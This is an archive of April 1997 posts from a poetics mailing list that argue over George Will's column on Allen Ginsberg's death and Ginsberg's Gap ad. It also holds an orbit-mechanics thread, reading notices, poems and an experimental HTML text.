> *Subject: Re: Will's column/ my reply*
> *To: [redacted]*
>
> *Kent:*
>
> *My impulse for writing in response to Will's article had to do with the recurring "fuck-you" posts which I find stupid and irresponsible. Will's article is grossly unfair, if not evil and pernicious, but telling Will to fuck himself behind his back, or not, simply confirms his belief in the poverty of cultural values today. So I picked up scant points of his which seemed appropriate and acknowledged that much of the rest of the article had no value at all. As for your questions:*
>
> *"Just one question to throw out as first thought, though not necessarily the better one: this "cultural market" that you charge Ginsbuerg as being complicit in-- where do you see its, as they say, horizon? Did Ginsbeurg, in other words, step over some kind of threshold that you and I (cleaner in life than him) haven't? What is the qualitative differuence, as you see it, between choosing to buy Gap pants and posing in them? And when we, for example, choose to polemicize on this list, are we not engaging in a gesture that is as fully inscribed in the cultural market as Ginsbuerg's marketing of his image? I know, I know, you talk about the "gap" between ideals and necessity, and you seem to grant that we all inhabit that and must necessarily negotiate, but isn't it a bit too easy for "uncommodified" poets to criticize across the gap between life and death, and say that the dead guy sold out when we haven't, even though you acknowledge that we've all sold out, inevitably, a little bit?"*
>
> *Ginsberg didn't step through any threshold. There is no threshold, as far as I can tell. We're all implicated in cultural and economic market practices. Whether posing for Gap pants or wearing them makes no*

difference. But if you endorse a certain product while simultaneously engaging in social activism, then the irony of that position will be noticed, whether it's right or wrong. Will's article pointed out this contradiction in a cultural industry Will, Ginsberg, myself-anyone who writes-is a part of. This position is magnified with Ginsberg, however, so he's an easy target for people like Will who act as if they are themselves beyond reproach. And, by the way, I never said Ginsberg sold out and I don't even think I implied it, and if I did, well, that's my fault as a critical writer. And I'm sad he's dead but his death is the occasion for such moments as these and I think as much meaning should be milked from debate rather than saturating ourselves only with warm platitudes.

"Aren't all of us (each of us, including you with your careful post) also, at least in portion, marketing an image here? (I mean Dale Smith, upping those guys and gals who are oblivious to their chiselled engravings within the poetry money market, but not Dale, who sees the gap between ideals and necessity, and thus has the banked-track on freedom. voom.)"

I guess e-mail posts could be viewed as "marketing an image" rather than provoking debate. Touche. I'm not trying to "up" anybody. The occasion of my post was, again, George Will's unflattering and unjust article on Ginsberg's death. With the same amount of fame I'm sure many of us, self included, would be held up for critical scrutiny, just and unjust alike.

"I would like my posts to contribute, little by little, to a great poetry job somewhere, or to being invited to the party I never get invited to, to having an even modest cultural status I haven't yet had, to be thought of as a list insider who is known to be an insider by those who aren't. There, I said it! (And why, exactly, does it mildly startle every single one of you who just read this that I said this?)"

Hey, the above sounds good to me too, except the part about being a "list insider," whatever that means.

"I am wearing Gap pants right now as I write, and whatever you are or aren't wearing Dale, you are, by reading this, between your ideals and the necessity of the dollar, being called on by Ginsbuerg, in his koan-billboard, to think a little more deeply about your own critical certainties. Again,this is first, quick thought. One I may well regret, post-partum, as I think Rachel Loden perceptively put it a week or so ago."

Actually, I'm wearing a burlap sack and beating myself with a stick.

"but thanks for provoking..."

> *No problem.*

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281. KENT JOHNSON
ginsberg and snyder
Fri 11 Apr 1997

Gary Snyder lectured and read here in Freeport, Illinois tonight. It was quite incredible, frankly. He finished by reading/singing the magpie poem, prefacing it with a long, moving eulogy for AG. When he started to choke-up, he said it was his asthma, which disappointed me a little bit, but that's ok.

Inclement weather of the worst kind, but still over 150 people in attendance, maybe a couple dozen of them farmers who came because (my romantic leftist mind hopes) the lecture was entitled "The Relationship between Capitalism, Ethics, and the Environment." Probably, though, because Gary was billed to be introduced by my beloved friend, Dan Smith, a Freeport poet with a very big local following and who's a dairy farmer well-known for his "sustainable ag" practices (new book, _Home Land_, out from Bottom Dog Press).

As I was driving him to Dan's house where he spent the morning, Gary told me of a long telephone talk he had with AG two days before Allen died. At the time, Allen was operating under the impression of two to six months. Gary said that AG was "sad but not overly so," and was "a bit pissed-off that he'd just put this new kitchen into his apartment and now was barely going to get to use it." Then he changed the subject.

As you approach Dan's farm, there is a trailer surounded with 50 or 60 car-casses of cars, some of them 40's and 50's models. I noticed that Snyder was looking intently at this sight (the infamous "white trash" Bechtel household). Then he said with the utmost conviction: "Now there is some really really good stuff."

By the way, I haven't seen any posts about this: does everyone know that _Mountains and Rivers without End_ was awarded the Bollingen a few weeks back?

I'm driving Gary to the airport tomorrow and I'm going to askl him what he thinks about Allen posing for the Gap ad.

Kent

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282. KENT JOHNSON
Re: The Don Allan Anthology
Fri 11 Apr 1997

Linda:

I'm not sure why you put me in the same law firm as Bromage and Boring. I was the guy who said to not pay any attention to the lawyers specializing in copyright and said nice post! Or are you referring to my "ue" and "eu" inserts into Ginsberg in my reply to Dale Smith? I did this only as a little riposte to Attorney Boring, who had slammed his fist repeatedly against the table objecting E E E E E E!

Sorry if my message was not clear.

Kent

> *Priority: normal*
> *Date sent: Fri, 11 Apr 1997 13:00:40 +0000*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: "linda v. russo" <[redacted]>*
> *Organization: University of Utah*
> *Subject: Re: The Don Allan Anthology*
> *To: [redacted]*
>
> *To the Mr.'s Bromige, Alexander, Johnson & Bowering (not to make you sound like a law firm or anything):*
>
> *thanks for the words -- now that i look at it, it doesn't look quite right with a 'u'. I'm usually much more adroit & academic in checking these things. I do wonder though abt. the vitriol? (maria damon where are you?!) I can't consciously recall such copyediting in the 6 long months or so i've been a member on the list. -- l.*
>
> *Come on, George, the allusion was to the Don Allan Anthology, you know, the one with John Ashberry in it, and Robert Creely, and Charles Olsen, and Denise Leverton. bd.*
>
> *--*
> *linda v. russo*
> *[redacted]*

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283. **KENT JOHNSON**
Re: orbit
Fri 11 Apr 1997

Actually, "astronomical" language like this seems very apropos and useful to the discussion of poems, no?

> *Date sent: Fri, 11 Apr 1997 15:33:28 -0400*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: William Burmeister Prod <[redacted]>*
> *Subject: Re: orbit*
> *To: [redacted]*
>
> *where are the foci to a typical comet's orbit? i think i remember that ellipses have two centers. why is a comet's orbit stable yet so exageratedly non circular? Is the sun one focus? if so, what is the other one?*
>
> *(i guess i don't have trouble understanding the slightly elliptical orbits of the planets nearby because i can imagine the sun as spead out into two foci.)*
>
> *Bill*
>
> *You're right in that ellipses have two foci, and I'm no celestial mechanic, but the sun can be considered to be at or near one of the foci. I say near because there are many comets where the sun is actually between the vertex and the near focal point. There is another geometrical focal point, but whether or not there is something "there" has been an open topic for speculation (ie the Oort cloud idea, or like cpt. Kwirk, "there's something out there..."). The "something out there" forming the other focal point is not necessary for an elliptical orbit to take place though. The orbits of all solar system bodies have constantly, from the beginning, been perturbed by mutual gravitation so that the orbits intersect one another and elongate (become eccentric). The smaller bodies having the most eccentric orbits. Mercury has a very eccentric orbit for example.Hope that helps.*
>
> *Bill B.*

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284. **KENT JOHNSON**
on being angry at george will
Fri 11 Apr 1997

Where is the will you are angry at?

(AG, accompanied by harmonium)

↑ Index

285. **Mark Prejsnar**
Re: Will's column/ my reply
Fri 11 Apr 1997

Interesting, Susan...I don't suspose Will mentions the one really interesting bit of gossip in the baseball world about that incident..That Hirschbeck used a homophobic word, and that that's the reason for the spitting (...I guess in that case he should feel grateful it wasn't Tom Mandel he was addressing, or the response might have been more solid); this cropped up on Atlanta radio some time ago, but was really given credence by a spot Peter Gammons did two weeks ago on ESPN, where he kept uneasily and paraphrastically saying that "there are just some words you don't use to someone from a Latin culture.." and finally narrowing it down to references to a singular "word" that you shouldn't ever use to someone from a Latin culture (..the "f" word presumably). Gammons knows most of what's going on in baseball, so I take it that that's strong confirmation. From both a poet's and a political activist's point of view, the whole affair becomes fascinating, in that there is this EVENT people talk about, and then (maybe) this VERBAL act at the very heart of it all, that NO ONE WILL MENTION..the word made evasion and silence.

Mark Prejsnar
(whose Braves are facing a true fight
for their lives in their division,
for the first time in living memory.)

On Thu, 10 Apr 1997 [redacted] wrote:

> *I haven't read the Ginsberg piece by George Will, but I am looking forward to reading it with and against his recent defense of the Baltimore Orioles' Roberto Alomar (as I recall, Will proposed to his second wife at home plate--my god!--in Camden Yards) for spitting on the umpire last season. Will goes out of his way to attack umpires in this piece and to defend Alomar. Apparently, Will is a non-paid member of the Baltimore Orioles' board. Which leads me to my modest proposal: why not put the man on the poetics list and conflict his interests a bit?*
>
> *Susan*
> *(whose Cards are off to their worst start in history)*

↑ Index

286. **Michael Boughn**
Re: Will's column/ my reply
Fri 11 Apr 1997

> it's called "stomping on your enemy's grave". Usually the living dead are
> specially hired for that purpose.
>
> - Henry G.
>

Isn't this the battle for history, and wasn't Allen Ginsberg always on the frontlines, for better or for worse? Which is why the GWs hate him so much. How would he have responded to Wills? I don't think with anger . . .

Did anyone else see the obit in the NY Post? It opened something like "Allen Ginsberg, who wrested poetry away from the academics and returned it to the people . . ."

Mike

[redacted]

↑ Index

287. **nuyopoman**
Readings
Fri 11 Apr 1997

Samantha Coerbell, Edwin Torres, Shirley LeFlore and Bob Holman at Washington University (St Louis) Frida and Sat, April 11 and 12, 8pm.

Bob Holman at KGB's, across from LaMama on E 4th, Mon., April 14 8pm.

Will be reading "Bard in Bardo" poems.

BH

↑ Index

288. **William Burmeister Prod**
Re: orbit
Fri 11 Apr 1997

> *where are the foci to a typical comet's orbit? i think i remember that ellipses have two centers. why is a comet's orbit stable yet so exageratedly non circular? Is the sun one focus? if so, what is the other one?*
>
> *(i guess i don't have trouble understanding the slightly elliptical orbits of the planets nearby because i can imagine the sun as spead out into two foci.)*
>
> *Bill*

You're right in that ellipses have two foci, and I'm no celestial mechanic, but the sun can be considered to be at or near one of the foci. I say near because there are many comets where the sun is actually between the vertex and the near focal point. There is another geometrical focal point, but whether or not there is something "there" has been an open topic for speculation (ie the Oort cloud idea, or like cpt. Kwirk, "there's something out there..."). The "something out there" forming the other focal point is not necessary for an elliptical orbit to take place though. The orbits of all solar system bodies have constantly, from the beginning, been perturbed by mutual gravitation so that the orbits intersect one another and elongate (become eccentric). The smaller bodies having the most eccentric orbits. Mercury has a very eccentric orbit for example.Hope that helps.

Bill B.

↑ Index

289. William Burmeister Prod

G. Swill caught perturbating infragrante delicto

Fri 11 Apr 1997

Dear sir,

Could you send me a copy of Jack Spandrift's new CD, "Cowboys Rain Cowshit on the Plain" from Teatro Bouncayore Czech Productions. I am not able to enclose money right now since I am a little short. You can look for my 2 cents worth in my next review.

-George Swill

>George Will, will you please george up.
>George Will, your motha was a car salesman for the Edsel when Allen Ginsberg
was a protege of a potato.
>George Will, Shake your brocolli experiment offa my check-out line.
>George Will, hey, do you like MY poem? Huh? What the...

> *- Jack Spandrift*
>
> *Jack's new CD, "Cowboys Rain Cowshit on the Plain" is available (in Spain only) from Teatro Bouncayore Czech Productions, El Raygonner, Wyo. Send money now.*

↑ Index

290. Rachel Loden
Re: orbit
Fri 11 Apr 1997

Bill Luoma wrote:

> *where are the foci to a typical comet's orbit? i think i remember that ellipses have two centers. why is a comet's orbit stable yet so exageratedly non circular? Is the sun one focus? if so, what is the other one?*
>
> *(i guess i don't have trouble understanding the slightly elliptical orbits of the planets nearby because i can imagine the sun as spead out into two foci.)*

Resident logician writes:

It's about the ancient theory of conic sections, and Kepler's laws of planetary motion.

Think of a plane slicing through a cone --- if it is orthogonal to the axis of the cone, you get a circle. If you tilt a bit, you get an ellipse.

Tilt more, and you get curves that are not closed (parabolas and hyperbolas) --- if your comet is on one of them, it will never come back. Given that Hale-Bopp is in the habit of coming back, albeit infrequently, it must be on an elliptical orbit that is very elongated. Kepler's laws apply: the sun must be one of the foci of the ellipse.

What happens to the other focus? It is, of course, a mathematical abstraction, and in a sense it is not in use. There is only one sun, and the sun's gravitational pull is both necessary and sufficient to keep a comet on an elliptical orbit.

Kepler's laws can be easily derived from Newton's ("the two body problem"), as an exercise in pure mathematics.

I remember it being said that the Hale-Bopp orbit is roughly perpendicular to the plane of the solar system. This may explain its relatively quick entry and exit.

Jussi Ketonen
[redacted]

↑ Index

291. Hugh Steinberg
Re: AG & the columnists
Fri 11 Apr 1997

Yeah, so the world is full of jerks. What else is new? I think all the post-mortem arguments about Ginsberg only point to his immense vitality as a poet

and as a cultural figure, the linkage of which has become increasingly rare in popular American culture.

Hugh Steinberg

↑ Index

292. Thomas M. Orange
belated respects
Fri 11 Apr 1997

Sestina for Ginzberg
~~~~~~~~~~~~~~~~~~~~~~

brushfire's smokey mass in dusk light,
pull out and slowly roll
condensers of small Sony TV machine
marble pillars in the Rector's
open window on Chicago Midwinter night,
canyon path crowded with thistle

sun's bright red ball on thistle
into the bottom please light
enwired rusty w/resistances giant night
courtyard at the end roll
Clark & Halstead brushed with Rector's
fern blue daisy, glassy machine

horizon purple with earth-cloud, machine
master lunge it again, thistle
grass leafspears morning glory Rector's
marble-white street in light
this week's snow grill lights roll
grass, pale morningglory night

chanting to Shiva in the night
and withdraw to the machine
hillside perched over clearing All roll
the walled city of thistle
blinking at the corner decades light
scattered on a granite Rector's

car-cabin. Pacific Gas high Rector's
tip please please master night
branches lifting up papery seedhusks, light
Dubrovnik -- all the fleet machine
~~~~~~~~~~~~~~~~~~~~~~

ago Smokestack poked above roofs thistle
hill bells clanging under roll

voltage antennae trailing thin wires roll
fuck me again with Rector's
parasolspiked Fern Tramping together thistle
sunk, Empire foundered, Doges night
& watertower standing still above machine
gray sea cliffs, dry light

↑ Index

293. Hoa Nguyen
Ginsberg
Fri 11 Apr 1997

(This is my first post on the list)

The following is an excerpt from a post by Kent Johnson. It is an incredibly honest personal statement and I feel that it requires particular attention. In a dialogue about poetry, A. Ginsberg, and whether it is possible *not* to participate in the corrupt market system we are necessarily a part of, he said, among many things:

Dale, I'll say this: I would like, when I say
>something on this list, to impress, to have people think: "Boy, that
>Kent Johnson sounds really interesting, I wonder what he is really
>like.." Wishful thinking, I'm sure, but I would like my posts to
>contribute, little by little, to
>a great poetry job somewhere, or to being invited to the party I never
>get invited to, to having an even modest cultural status I
>haven't yet had, to be thought of as a list insider who is known to
>be an insider by those who aren't. There, I said it! (And why,
>exactly, does it mildly
>startle every single one of you who just read this that I said this?)

I think it may startle because of its stunning honesty. And it comments on the discussion at hand-- that is: how one can be an artist, activist, and socially responsible while simultaneously complicit in the very structures that one wishes to expose and inform against. I am glad that the obvious was said-- that participation in this "utopian" arena for dialogue is not outside the market system we (myself included) engage in every moment, not outside structures and institutions of power. While we strive to engage in something that may illuminate or transform through ideas, art, or creating a community-- we cannot *escape* the conditions we live in.

And in the preceding sentence I illustrated this very thought-- that as a woman of color I cannot be *outside* prejudice or racism--that inescapably is contained even in the language I use -- using the word "illuminate" valuing light/white-ness.--writing in a language of colonialism, using my expensive computer, using and using energy, etc. It is a contradiction. I think exposing this is tantamount to transforming it-- and I think that is what we are doing, that it *is* a process. I do not understand why engaging in the dialectic leads people to believe one is "charging" someone of something.

(Although, as I have read in the archives, finger-pointing / wanting-to-punch-someone-in-the-mouth morality policing, does occur).

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↑ Index

294. Thomas M. Orange
Re: belated respects
Fri 11 Apr 1997

(oops! forgot the envoy....)

the blue lamped boulevards, sky night
upright pushing a thistle machine
across flatlands, entering Coast Range light

(or)

across flatlands, entering Coast Range light
upright pushing a thistle machine
the blue lamped boulevards, sky night

(as you wish)

↑ Index

295. Daniel Bouchard
Re: Will's column
Fri 11 Apr 1997

"America, go fuck yourself with your atom bomb."
--Allen Ginsberg (1926-1997)

"America, I'm not sorry."
--same guy

Dales,

I'm not sorry if you think my "fuck George F. Will"
is "stupid and irresponsible."

I'm not sorry if you think my "fuck George F. Will"
"confirms his belief in the poverty of cultural values today."

If he could define them, and if I could take the time to read them, I'm sure I could have a grand time mocking them for the amusement of the Poetics list.

If you think my "fuck George F. Will" is an act of cowardice because it was "behind his back" let me assure that I would love to have the opportunity to meet the man and enjoy a real conversation, in which I may or may not use the oh-so-shocking "F" word, depending on the amount of sneering condescension he emits.

You are obviously impressed with George F. Will's authority to the extent that in a worthless diatribe in which he shits on a man's life work you find "scant points . . . which seemed appropriate." Which points were they Dales? The ones that implicate all writers and activists in "cultural and economic market practices." Are you taking a correspondence course with George F. Will?

You said, "his death is the occasion for such moments as these and I think as much meaning should be milked from debate rather than saturating ourselves only with warm platitudes."

Yes, let's debate and milk (milk?) the moment and we may learn something from one another, but don't begin by telling ME to settle down and be reasonable because it only makes me more angry.

[redacted]

↑ Index

296. **Mark Weiss**
Re: Will's column/ my reply
Fri 11 Apr 1997

That we're all implicated in the system constitutes a platitude in my book.
I haven't taken its temperature.
I'm wearing 501s, but that's because I'm hipper than you guys.

> *Ginsberg didn't step through any threshold. There is no threshold, as far as I can tell. We're all implicated in cultural and economic market practices. Whether posing for Gap pants or wearing them makes no difference. But if you endorse a certain product while simultaneously engaging in social activism, then the irony of that position will be noticed, whether it's right or wrong. Will's article pointed out this contradiction in a cultural industry Will, Ginsberg, myself-anyone who writes-is a part of. This position is magnified with Ginsberg, however, so*

> *he's an easy target for people like Will who act as if they are themselves beyond reproach. And, by the way, I never said Ginsberg sold out and I don't even think I implied it, and if I did, well, that's my fault as a critical writer. And I'm sad he's dead but his death is the occasion for such moments as these and I think as much meaning should be milked from debate rather than saturating ourselves only with warm platitudes.*

↑ Index

297. **DS**
Re: Will's column/ my reply
Fri 11 Apr 1997

Yes? But who is going to do it? Said the Mouse.

> *Daniel Bouchard wrote:*
>
> *Fuck George F. Will.*
>
> *herehere, fuck him.*
>
> *mc*

↑ Index

298. **aerialedge**
Re: Will's column/ my reply
Fri 11 Apr 1997

Dale Smith wrote:
> Will's article is grossly unfair, if not evil and pernicious,
>but telling Will to
fuck himself behind his back, or not, simply confirms >his belief in the
poverty of cultural values today.

The point is our telling Will to fuck himself or not has absolutely no consequence. Personally I think it more appropriate to ask him to shut up about something of which he knows nothing. Fucking is so lovely after all. A deluge of letters of the oh shut up fool variety might at least raise his eyebrow.

Will came in my place of employ on Tuesday (his office is two blocks away), the day after I'd got back from going to New York to sit w/ Allen G. I have NOTHING to say to George Will. He represents the obligatory violence of mass media controled society. I do not think he is aware of this as he is so thoroughly indoctrinated. The man, tho human, is lost to that part of being human which Ginsberg & so many other artists-- what's the right word here-- give? represent? create? In any case there is as much reason to feel sorry for George Will as to

be angry-- to make a living spewing the idiot venom, this cannot be good for any "soul."

--Rod

↑ Index

299. **Hugh Steinberg**
Re: Planned Parenthood Benefit Reading
Fri 11 Apr 1997

This may seem really obvious of me, but when addresses of events are listed on the list, could the city please be included?

Hugh Steinberg

↑ Index

300. **sschu30844**
Re: Will's column/ my reply
Fri 11 Apr 1997

David B--the comment on where George Will made his proposal came from an instant fear that a man so conservative might say, "a woman's place is at home plate," that's all. I doubt he'd say that about second base, though he is surely off base (or just base) about most things.

Thanks to Maxine Chernoff for mentioning that I'll be giving a reading in San Francisco. It's on May 1 at 7:30 at the Cafe Sapore (in North Beach somewhere), and I'll be reading with John Noto. I'd love to meet list members there or elsewhere.

Susan (from Honolulu, which doesn't change its time either)

↑ Index

301. **Jordan Davis**
POETPOETRRYCITRYCITTYY
Fri 11 Apr 1997

Kim Stian Kiman dman Br Bim Sterian Kefans
oems in The Poe and Kiosk se and Kiosk ms in The Im Pespercipient

Goooren D GoodLorenman
Xquisite Corppoems in Exq E uisite Corpse Poems in E and Kiosk

Teachers &eachers & WWriters CWriters Colollaborativelaborative 5 Union SqUnion Squ uare West,are West, 7 7th Floor 7th Floor Friday, Aprriday, April ril 18, 7-8: 18, 7-8:3030 p.m. 0 p.m.

↑ Index

302. henry gould
Re: Will's column/ my reply
Fri 11 Apr 1997

---

fame - critique
joke - serious $$$$$$$$$$$$$$$$$$$$
gap - hole
knee - crotch
essay - guessay insider?
email - demon
square - hip
Ginsberg - Ginsberg, Jr. bug?
flog - fog (fghrist's sake)
etc. - gnats
flood - Fargo bug spray??
ice - dike
Faust - stuff one-up, stupid?
* ? glory... -

- Jack Spandrift

Jack's new CD, "How to become a Millionaire without Taking your Spurs Off in Bed, plus Interviews with Famous People On Tape and WORMS on HOOKS For BAIT if you Like to FISH", is available from Cootie Productions, POB 2399999990-etxc, Bronx, NY 10035. The question is, how to order, that is, what's it worth to you. Faust paid a lot down but ended up regretting the whole deal. You can also pay on installment - send a toad's eye, one ear of a wet bowl of cornmeal mush, and three dollars/mo. It might get to you? Well, scratch where it itches, bro. Death rides in mighty record companies.

p.s. George Will = Ol' Wrigglee Allen Ginsberg = L' B'ggar Senile

↑ Index

303. Aldon L. Nielsen
Re: SouthBay
Sat 12 Apr 1997

Notice to all San Francisco and points south --

Hank Lazer, often of this list, will appear in a poetry reading at the Stanford University Book Store on Friday May 2, at 4:00 PM

I'll expect to see y'all there

↑ Index

304. Alan Jen Sondheim

lure/id

Sat 12 Apr 1997

-

(As Netscape Communicator extends email into multi-media, poetics will change or retreat. This isn't concrete poetry, but the full and broken textual body. The .htm below is an artifact.)

<HTML>
<TITLE>lurid communicator haunts the wires</TITLE>
<HEAD>
  <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
  <META NAME="GENERATOR" CONTENT="Mozilla/4.0b3 [en] (Win95; I) [Netscape]">
  <META NAME="Author" CONTENT="Alan Jen Sondheim">
</HEAD>
<BODY TEXT="#000000" BGCOLOR="#FF9191" LINK="#0000EE" VLINK="#551A8B"
ALINK="#FF0000">
Playing with the elaboration inherent in the baroque elements of rococo Netscape Communicator all evening, this critic observes the beginning of email-rubble, in the littoral sense of stumbling across font and color, link and extension, sound and sight. Email transforms into transitive term, translucent, flailing across Websites; email loses internal flow as transitivity constantly jumps the tracks. As we play, push further borders, phenomenological 'world of the text' ruptures, opening jewelry and seduction. What I would give to see you naked cum in my inbox! The inner speech or vocality of language is lost; the (digital) world intrudes in the sense of the ikonic (every digital image is ikonic). Play skitters formations across the surface surfeit.
<IMG SRC="swollen.jpg" BORDER=10 HEIGHT=70 WIDTH=75> In the midst of
things, disturbances. The world is lost. What you can read here, what is your name, your tool, belonging as well, yet:
<P>
Yet can you imagine the _event_ of swollen.jpg, not yet included, Jennifer, flush with the screen, rupturing the text with the potential for _her_ visible body, not yet produced, reproduced in _this_ space, but already a deterioration of text, the world shattered by swollen.pink.jpg as you would no longer say, breathless, lured or seduced into the product-production of Jennifer-capital-<B>Alan.</B></P>

<B>----------</B>
</BODY>
</HTML>

↑ Index

305. KENT JOHNSON
snyder/gap/ginsberg
Sat 12 Apr 1997

Took Snyder to the airport bus today and told him about the Will article. He didn't know about it. He said, "Really? Good. That's good. This will help start up a bigger discussion about Allen." I told him about the many heartfelt, moving statements about Allen on this list. He said, "Really? Good. That's Charles Bernstein's creation, right? Hmmmm... Good, good..."

Snyder really is a warm and impressive guy. He's reading at Harvard May 1 for those of you in that area. When he sings some of his poems, he sounds like Pete Seeger. I mentioned here yesterday that magpie poem he sang for AG. When it's over he says, "And then the magpie flew away."

Hey Chris Alexander, that was some tour de force with the last post. And I don't care if you're in Utah. I've never been invited to a party in Utah. Call me.

cardinals in spring snow,

Kent

↑ Index

306. KENT JOHNSON
Re: Ginsberg
Sat 12 Apr 1997

> *Date sent: Sat, 12 Apr 1997 09:24:38 -0500*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Maria Damon <[redacted]>*
> *Subject: Re: Ginsberg*
> *To: [redacted]*
>
> *At 1:57 PM -0700 4/11/97, Hoa Nguyen wrote, quoting kent johnson:*
>
> *Dale, I'll say this: I would like, when I say*
> *something on this list, to impress, to have people think: "Boy, that*
> *Kent Johnson sounds really interesting, I wonder what he is really*
> *like.." Wishful thinking, I'm sure, but I would like my posts to*
> *contribute, little by little, to*
> *a great poetry job somewhere, or to being invited to the party I never*

> *get invited to, to having an even modest cultural status I*
> *haven't yet had, to be thought of as a list insider who is known to*
> *be an insider by those who aren't. There, I said it! (And why,*
> *exactly, does it mildly*
> *startle every single one of you who just read this that I said this?)*
>
> *why wd this startle? it falls well within the continuum of normal human*
> *cerebration. what startles is the ungrounded assumption that i am*
> *startled...*

Well, then, so it startled, right?

Kent

↑ Index

307. **Maria Damon**
Re: Ginsberg
Sat 12 Apr 1997

At 1:57 PM -0700 4/11/97, Hoa Nguyen wrote, quoting kent johnson:
>
>Dale, I'll say this: I would like, when I say
>>something on this list, to impress, to have people think: "Boy, that
>>Kent Johnson sounds really interesting, I wonder what he is really
>>like.." Wishful thinking, I'm sure, but I would like my posts to
>>contribute, little by little, to
>>a great poetry job somewhere, or to being invited to the party I never
>>get invited to, to having an even modest cultural status I
>>haven't yet had, to be thought of as a list insider who is known to
>>be an insider by those who aren't. There, I said it! (And why,
>>exactly, does it mildly
>>startle every single one of you who just read this that I said this?)

why wd this startle? it falls well within the continuum of normal human cerebration. what startles is the ungrounded assumption that i am startled. candor is appreciated.

↑ Index

308. **Maria Damon**
Re: Will's column/ my reply
Sat 12 Apr 1997

At 6:09 PM -0400 4/11/97, [redacted] wrote:
etc

i agree. the focus has become what an asshole george will is, rather than anything abt ginsberg. will's shortcomings are not exceptional and don't warrant much time and energy. why waste time on his mean-spirited nonsense?

↑ Index

309. **Dave Zauhar**
Re: Will's column
Sat 12 Apr 1997

---

actually, the strangest obituary I've heard in the electronic media occured on an Altoona/Johnstown Pennsylvania station. An anchorwoman coiffed to look like a humanoid version of Miss Polly Purebred concluded the 7 second piece (part of the "around the world in a minute" feature common to most local newscasts) by saying, "Ginsberg's poetry grew out of his homosexual experiences and his communistic upbringing." For a brief moment, I had a sense of what it was like to be alive during the 1950s (especially given the production values of this particular newscast).

Dave Zauhar,
whose Pirates organization would embarrass a slow-pitch softball team

↑ Index

310. **KENT JOHNSON**
Re: cardinal in spring snow?
Sat 12 Apr 1997

Thought I'd share this which I just got from a friend in response to my post to the list re: Gary Snyder. My reply follows his waka and wise caution:

> *baby panda in boiling pot screaming then quiet*
> *running shoe under bed smeared with dogshit*
> *penis ringed with Copenhagen stains*
>
> *Don't let that giddy zensnyder experience make you*
> *sentimental-eye-zed, oh kent on sawed-*
> *off branch plummeting toward cardinal in spring snow.*
> *--Love, The Underdolt*

But hey, love, if I'm going to crash in a heap and take the whole empire down with me, why not engage in a little hero worship to salve the pain. Heil Snyder!!!

(ps: and who's the cutie-pie that does Copenhagen?)

keunt

↑ Index

311. **Maria Damon**
Re: Will's column/ my reply
Sat 12 Apr 1997

speaking of sports, i took in When We Were Kings this past week. it's got some fun poetry in it, and reminded me of when i was a little girl and the Clay/Liston fight was gonna be on. (it was memorable to me cuz we didn't have a tv, but we were at a ski lodge for a week and the ski lodge had a tv, so everything on tv that week sticks in my mind). the newscasters kept reading a poem clay had written for the occasion and i adored it. can anybody post that poem here? free copies of *my* book and the new cross-cultural poetix to the person who obliges.--md

At 2:54 PM -0400 4/11/97, Mark Prejsnar wrote:
>Interesting, Susan...I don't suspose Will mentions the one really
>interesting bit of gossip in the baseball world about that incident..That
>Hirschbeck used a homophobic word, and that that's the reason for the
>spitting (...I guess in that case he should feel grateful it wasn't Tom
>Mandel he was addressing, or the response might have been more solid);
>this cropped up on Atlanta radio some time ago, but was really given
>credence by a spot Peter Gammons did two weeks ago on ESPN, where he
kept
>uneasily and paraphrastically saying that "there are just some words you
>don't use to someone from a Latin culture.." and finally narrowing it down
>to references to a singular "word" that you shouldn't ever use to someone
>from a Latin culture (..the "f" word presumably). Gammons knows most of
>what's going on in baseball, so I take it that that's strong confirmation.
>>From both a poet's and a political activist's point of view, the whole
>affair becomes fascinating, in that there is this EVENT people talk about,
>and then (maybe) this VERBAL act at the very heart of it all, that NO ONE
>WILL MENTION..the word made evasion and silence.
>
>Mark Prejsnar
>(whose Braves are facing a true fight
>for their lives in their division,
>for the first time in living memory.)
>
>On Thu, 10 Apr 1997 [redacted] wrote:
>
>> I haven't read the Ginsberg piece by George Will, but I am looking
>>forward to
>> reading it with and against his recent defense of the Baltimore Orioles'
>> Roberto Alomar (as I recall, Will proposed to his second wife at home

>> plate--my god!--in Camden Yards) for spitting on the umpire last season.
>> Will goes out of his way to attack umpires in this piece and to defend
>> Alomar. Apparently, Will is a non-paid member of the Baltimore Orioles'
>> board. Which leads me to my modest proposal: why not put the man on the
>> poetics list and conflict his interests a bit?
>>
>> Susan
>> (whose Cards are off to their worst start in history)
>>

↑ Index

312. Herb Levy
Ginsberg, Nyro, & media coverage for the arts
Sat 12 Apr 1997

Charles Bernstein wrote:

> *Nyro is being played quite a bit on the radio here in New York City,*

& others have written or implied similarly about both Ginsberg & Nyro.

When I hear a recording by someone I'm interested in on almost ANY radio station, NPR or otherwise, I assume that the artist has died, 'cause otherwise the work w0uldn't be on the air.

Herb

Herb Levy
[redacted]

↑ Index

313. Christopher Alexander
Re: Will's column/ my reply
Sat 12 Apr 1997

Kent wrrt:
> this "cultural market" that you
> charge Ginsb[...]erg as being complicit in--where do you see its, as
> they say, horizon? Did Ginsbe[...]rg, in other words, step over some
> kind of threshold that you and I (cleaner in life than him) haven't?
> What is the qualitative differ[...]ence, as you see it, between
> choosing to buy Gap pants and posing in them?

it seems to me that part of the problem here is that we've started, already, from too general a category, or perhaps in plain confusion, with the term "cultural market". while we've acknowledged the market structure of the "cultural" (itself

a blanket term)--cultural capital etc a la bourdieu--we've also conflated the two fields on the basis of that structure, which should be accounted autonomous, at least to the best of our ability to do so.

so it's both less clear & more clear than presented.
["playing for time"]["doesn't have an answer, does he?"]

